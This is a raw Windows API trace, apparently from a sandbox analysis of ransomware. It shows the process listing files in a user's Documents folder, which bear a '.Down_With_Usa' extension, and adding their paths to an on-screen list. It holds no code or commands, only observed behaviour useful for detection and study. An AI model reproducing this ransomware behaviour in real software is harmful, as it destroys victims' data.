[0275.991] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8321530, ftCreationTime.dwHighDateTime=0x1d5a4bc, ftLastAccessTime.dwLowDateTime=0x74f8a7c0, ftLastAccessTime.dwHighDateTime=0x1d5c1d7, ftLastWriteTime.dwLowDateTime=0x22eb5380, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x10690, dwReserved0=0x0, dwReserved1=0x0, cFileName="CiAOgIqfyBwAbK406MX.pptx.Down_With_Usa", cAlternateFileName="CIAOGI~1.DOW")) returned 1
[0275.992] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0275.992] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c43f50, ftCreationTime.dwHighDateTime=0x1d5c7d2, ftLastAccessTime.dwLowDateTime=0xce4c82f0, ftLastAccessTime.dwHighDateTime=0x1d5d484, ftLastWriteTime.dwLowDateTime=0x22f99bc0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xad30, dwReserved0=0x0, dwReserved1=0x0, cFileName="g1DQq3TE.xlsx.Down_With_Usa", cAlternateFileName="G1DQQ3~1.DOW")) returned 1
[0275.993] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0638210, ftCreationTime.dwHighDateTime=0x1d55ec4, ftLastAccessTime.dwLowDateTime=0xd760d390, ftLastAccessTime.dwHighDateTime=0x1d59b00, ftLastWriteTime.dwLowDateTime=0x23032140, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x7a10, dwReserved0=0x0, dwReserved1=0x0, cFileName="gbhinf.docx.Down_With_Usa", cAlternateFileName="GBHINF~1.DOW")) returned 1
[0275.993] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b0c5ff0, ftCreationTime.dwHighDateTime=0x1d56afd, ftLastAccessTime.dwLowDateTime=0xa6f66e80, ftLastAccessTime.dwHighDateTime=0x1d5c5b8, ftLastWriteTime.dwLowDateTime=0x230a4560, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xa520, dwReserved0=0x0, dwReserved1=0x0, cFileName="H8ivmRdRUdGkJ.pptx.Down_With_Usa", cAlternateFileName="H8IVMR~1.DOW")) returned 1
[0275.994] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4ebad40, ftCreationTime.dwHighDateTime=0x1d57ea4, ftLastAccessTime.dwLowDateTime=0xe6e60b20, ftLastAccessTime.dwHighDateTime=0x1d58145, ftLastWriteTime.dwLowDateTime=0x23116980, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1380, dwReserved0=0x0, dwReserved1=0x0, cFileName="IDFOI5o_3T4O.xlsx.Down_With_Usa", cAlternateFileName="IDFOI5~1.DOW")) returned 1
[0275.995] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41fb7760, ftCreationTime.dwHighDateTime=0x1d5b8dd, ftLastAccessTime.dwLowDateTime=0x70ae1810, ftLastAccessTime.dwHighDateTime=0x1d5b108, ftLastWriteTime.dwLowDateTime=0x231aef00, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x17810, dwReserved0=0x0, dwReserved1=0x0, cFileName="IUEU zajv8i.pptx.Down_With_Usa", cAlternateFileName="IUEUZA~1.DOW")) returned 1
[0275.995] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0b5e0d0, ftCreationTime.dwHighDateTime=0x1d57817, ftLastAccessTime.dwLowDateTime=0x9a1f8150, ftLastAccessTime.dwHighDateTime=0x1d5b100, ftLastWriteTime.dwLowDateTime=0x23247480, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xf500, dwReserved0=0x0, dwReserved1=0x0, cFileName="JBaHIgAqTJA.xlsx.Down_With_Usa", cAlternateFileName="JBAHIG~1.DOW")) returned 1
[0275.996] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92dce0, ftCreationTime.dwHighDateTime=0x1d5b6ce, ftLastAccessTime.dwLowDateTime=0x3b3de6e0, ftLastAccessTime.dwHighDateTime=0x1d583a6, ftLastWriteTime.dwLowDateTime=0x232dfa00, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x163e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kyGGi7Mewmm.docx.Down_With_Usa", cAlternateFileName="KYGGI7~1.DOW")) returned 1
[0275.996] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb8876e0, ftCreationTime.dwHighDateTime=0x1d5d827, ftLastAccessTime.dwLowDateTime=0xa14dd140, ftLastAccessTime.dwHighDateTime=0x1d5e5c4, ftLastWriteTime.dwLowDateTime=0x233c4240, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xda00, dwReserved0=0x0, dwReserved1=0x0, cFileName="m66qahNRMTKLGBLHJw.ods.Down_With_Usa", cAlternateFileName="M66QAH~1.DOW")) returned 1
[0275.997] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1
[0275.997] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1
[0275.998] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x24610b60, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x24610b60, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1
[0275.999] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1
[0275.999] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x247d9be0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x247d9be0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1
[0276.000] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe334dcf0, ftCreationTime.dwHighDateTime=0x1d5e440, ftLastAccessTime.dwLowDateTime=0x24a15080, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x24a15080, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OZ1hK", cAlternateFileName="")) returned 1
[0276.000] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55d9c370, ftCreationTime.dwHighDateTime=0x1d56cdb, ftLastAccessTime.dwLowDateTime=0x58ad0f20, ftLastAccessTime.dwHighDateTime=0x1d57367, ftLastWriteTime.dwLowDateTime=0x23436660, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x8b10, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pzk5f8oRu5.docx.Down_With_Usa", cAlternateFileName="PZK5F8~1.DOW")) returned 1
[0276.001] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b072030, ftCreationTime.dwHighDateTime=0x1d5a88b, ftLastAccessTime.dwLowDateTime=0xf5f79c20, ftLastAccessTime.dwHighDateTime=0x1d5bcb7, ftLastWriteTime.dwLowDateTime=0x23482920, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x9e30, dwReserved0=0x0, dwReserved1=0x0, cFileName="RROSpJzOY.xlsx.Down_With_Usa", cAlternateFileName="RROSPJ~1.DOW")) returned 1
[0276.001] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaafa0270, ftCreationTime.dwHighDateTime=0x1d5d7ed, ftLastAccessTime.dwLowDateTime=0x4c10fb20, ftLastAccessTime.dwHighDateTime=0x1d5d88c, ftLastWriteTime.dwLowDateTime=0x234f4d40, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x111c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sNUw0vqjwlQLBuBn7.pps.Down_With_Usa", cAlternateFileName="SNUW0V~1.DOW")) returned 1
[0276.002] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25f14b60, ftCreationTime.dwHighDateTime=0x1d57951, ftLastAccessTime.dwLowDateTime=0x5f669830, ftLastAccessTime.dwHighDateTime=0x1d58745, ftLastWriteTime.dwLowDateTime=0x2358d2c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x10a10, dwReserved0=0x0, dwReserved1=0x0, cFileName="yOGq-nHH7u4.docx.Down_With_Usa", cAlternateFileName="YOGQ-N~1.DOW")) returned 1
[0276.002] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75650f90, ftCreationTime.dwHighDateTime=0x1d5c584, ftLastAccessTime.dwLowDateTime=0x746539d0, ftLastAccessTime.dwHighDateTime=0x1d56760, ftLastWriteTime.dwLowDateTime=0x23697c60, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x99f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="z3BojLPubdP0.docx.Down_With_Usa", cAlternateFileName="Z3BOJL~1.DOW")) returned 1
[0276.003] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75650f90, ftCreationTime.dwHighDateTime=0x1d5c584, ftLastAccessTime.dwLowDateTime=0x746539d0, ftLastAccessTime.dwHighDateTime=0x1d56760, ftLastWriteTime.dwLowDateTime=0x23697c60, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x99f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="z3BojLPubdP0.docx.Down_With_Usa", cAlternateFileName="Z3BOJL~1.DOW")) returned 0
[0276.004] FindClose (in: hFindFile=0x27f05e50 | out: hFindFile=0x27f05e50) returned 1
[0276.004] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ece90) returned 1
[0276.004] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ece50) returned 1
[0276.007] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x285881c) returned 0x18
[0276.007] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x285881c) returned 0x18
[0276.007] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0276.008] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0ynk2co-Oa6OkC4.pptx.Down_With_Usa", length=74, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0276.008] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0276.008] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1ee, lParam=0x0) returned 0x0
[0276.008] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1ee, lParam=0x0) returned 0x0
[0276.009] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x2858a8c) returned 0x19
[0276.009] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x2858a8c) returned 0x19
[0276.010] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0276.010] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3M9 J2MIs-i26K3.xlsx.Down_With_Usa", length=74, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0276.010] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0276.010] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1ee, lParam=0x0) returned 0x0
[0276.010] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1ee, lParam=0x0) returned 0x0
[0276.011] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x2858e8c) returned 0x1a
[0276.011] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x2858e8c) returned 0x1a
[0276.012] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0276.012] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\aWtiCahM.pptx.Down_With_Usa", length=67, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0276.012] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0276.013] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1ee, lParam=0x0) returned 0x0
[0276.013] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1ee, lParam=0x0) returned 0x0
[0276.014] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x285913c) returned 0x1b
[0276.014] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x285913c) returned 0x1b
[0276.014] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0276.015] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CiAOgIqfyBwAbK406MX.pptx.Down_With_Usa", length=78, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0276.015] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0276.015] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.015] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.017] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x2859554) returned 0x1c
[0276.017] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x2859554) returned 0x1c
[0276.018] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0276.018] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\g1DQq3TE.xlsx.Down_With_Usa", length=67, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0276.018] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0276.018] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.018] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.028] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x2859794) returned 0x1d
[0276.028] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x2859794) returned 0x1d
[0276.029] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0276.029] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gbhinf.docx.Down_With_Usa", length=65, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0276.030] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0276.030] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.030] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.031] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x2859a7c) returned 0x1e
[0276.031] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x2859a7c) returned 0x1e
[0276.032] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0276.032] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\H8ivmRdRUdGkJ.pptx.Down_With_Usa", length=72, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0276.032] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0276.032] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.032] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.033] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x2859ce4) returned 0x1f
[0276.033] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x2859ce4) returned 0x1f
[0276.037] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0276.037] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IDFOI5o_3T4O.xlsx.Down_With_Usa", length=71, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0276.037] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0276.037] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.037] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.038] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x2859f3c) returned 0x20
[0276.038] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x2859f3c) returned 0x20
[0276.040] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0276.040] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IUEU zajv8i.pptx.Down_With_Usa", length=70, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0276.040] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0276.040] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.040] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.041] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x285a194) returned 0x21
[0276.041] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x285a194) returned 0x21
[0276.042] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0276.043] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\JBaHIgAqTJA.xlsx.Down_With_Usa", length=70, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0276.043] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0276.043] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.043] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.044] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x285a3ec) returned 0x22
[0276.044] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x285a3ec) returned 0x22
[0276.045] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0276.045] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kyGGi7Mewmm.docx.Down_With_Usa", length=70, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0276.045] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0276.045] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.045] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.046] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x285a654) returned 0x23
[0276.046] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x285a654) returned 0x23
[0276.047] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0276.047] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m66qahNRMTKLGBLHJw.ods.Down_With_Usa", length=76, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0276.047] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0276.047] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.047] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.048] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x285b1cc) returned 0x24
[0276.049] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x285b1cc) returned 0x24
[0276.049] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
[0276.049] GdipMeasureString (graphics=0x1c5a7fc0, string="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Pzk5f8oRu5.docx.Down_With_Usa", length=69, font=0x1c5af4d0, layoutRect=0x2ecef8, stringFormat=0x0, boundingBox=0x2ecee8, codepointsFitted=0x2ecee0, linesFilled=0x2eced8) returned 0x0
[0276.050] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0276.050] SendMessageW (hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.050] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x194, wParam=0x1fc, lParam=0x0) returned 0x0
[0276.051] SendMessageW (hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x285b424) returned 0x25
[0276.051] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x180, wParam=0x0, lParam=0x285b424) returned 0x25
[0276.052] GdipCreateFromHWND (hwnd=0x20278, graphics=0x2ecf68) returned 0x0
